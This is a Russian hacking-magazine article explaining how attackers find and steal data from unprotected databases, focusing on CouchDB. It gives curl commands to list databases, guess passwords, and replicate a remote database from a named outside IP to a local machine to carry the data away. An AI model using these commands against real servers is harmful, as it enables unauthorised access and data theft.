В поисках утечек. Как хакеры ищут и угоняют чужие базы данных
Практически каждый день «Хакер» пишет о масштабных и не очень утечках данных. «Течет» откуда только можно, и последствия бывают самыми разными. Сегодня я постараюсь рассказать и показать, как легко злоумышленники могут получить доступ к обширным массивам всевозможных данных.
warning
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Неправомерный доступ к компьютерной информации преследуется по закону.
Прежде чем приступать к атакам, предлагаю разобраться, почему они вообще возможны и почему жизнь по‑прежнему ничему не учит админов и прочих причастных к защите БД.
- Порог вхождения в применение современных БД, как и в IT в целом, снижается. Начинающему эникейщику все проще попасть на администрирование сервиса, требующего тщательной и внимательной настройки, да и элементарных знаний о конкретном продукте. К счастью таких «инженеров», но к сожалению владельцев утекших данных, многие сетевые сервисы (например, базы данных) можно развернуть «в один клик». При этом совершенно не требуется понимать механизм работы и возможные угрозы развертываемым сервисам. И хорошо, если свежеустановленная база данных настраивалась хотя бы по инструкции с первой страницы поисковика. А если нет?
- Частенько авторизацию отключают по соображениям «удобства» работы с данными. В итоге наружу торчит порт, а нередко и интерфейс СУБД, с которым можно делать что угодно. Приходи — бери что хочешь…
- Начальство требует сделать все максимально дешево, так как денег мало и тратить их на достойного спеца не хочется. Вот и просят дизайнера Ваську накатить и настроить БД для компании за чашку кофе. Какая уж тут безопасность — хорошо, если хоть пароль поставит.
Таким образом, одной из основных причин утечки данных служит криворукость администраторов небезопасная конфигурация СУБД, оставленная в результате невнимательности или же просто недостатка знаний.
Самые интересные СУБД
СУБД — это система управления базами данных, которая обеспечивает механизм хранения и поиска этих самых данных. В дальнейшем я буду часто использовать это сокращение.
CouchDB

CouchDB — это база данных с открытым исходным кодом, разработанная программным фондом Apache. Классическая NoSQL-база. Написана на языке Erlang.
Больше всего нас интересуют способы подключения:
- порт HTTP API (по умолчанию — 5984);
- веб‑интерфейс Futon.
Доступ к БД реализован по протоколу HTTP с использованием JSON API, что позволяет обращаться к данным в том числе из выполняемых в браузере веб‑приложений. Имеет свой собственный графический веб‑интерфейс (Futon).
Мы же воспользуемся обычным curl
. Вот, к примеру, запрос приветствия:
curl http://127.0.0.1:5984/
Ответ расскажет нам о номере версии, имени поставщика и версии программного обеспечения:
{
"couchdb":"Welcome","version":"2.3.1",
"git_sha":"c298091a4",
"uuid":"777dc19849f3ff0392ba09dec1a62fa7",
"features":["pluggable-storage-engines","scheduler"],
"vendor":{"name":"The Apache Software Foundation"}
}
Чтобы получить список всех БД на сервере, можно выполнить такой запрос:
curl http://127.0.0.1:5984/_all_dbs
В ответ мы увидим
[
"_replicator",
"_users",
"mychannel_",
"mychannel_kizuna-chaincode",
"mychannel_lscc",
"mychannel_user"
]
Здесь _replicator
и _users
— это стандартные БД.
В ответ также можно получить такую ошибку:
{
"error":"unauthorized",
"reason":"You are not a server admin."
}
Смело идем мимо, здесь ловить нечего. Уровень анонимного доступа настроен так, что мы не можем даже увидеть список БД на сервере, не то что к ним подключиться. Но можно попробовать наудачу подобрать пароль. Запрос на авторизацию выглядит следующим образом:
curl -X PUT http://localhost:5984/test -u "login:password"
Чтобы подключиться к графическому интерфейсу, нет необходимости ставить какое‑либо ПО, достаточно просто в браузере перейти по такому адресу:
http://127.0.0.1:5984/_utils/
Чтобы унести данные, можно воспользоваться следующим запросом:
curl -X POST -d '{"source":"http://54.161.77.240:5984/klaspadchannel_","target":"http://localhost:5984/klaspadchannel_"}' http://localhost:5984/_replicate -H "Content-Type: application/json"
Конечно же, потребуется поднять сервер CouchDB на локальной машине. Впрочем, было бы странно, если бы его у тебя не было, раз уж ты собрался работать с этой базой.
Читать новость в источнике Xakep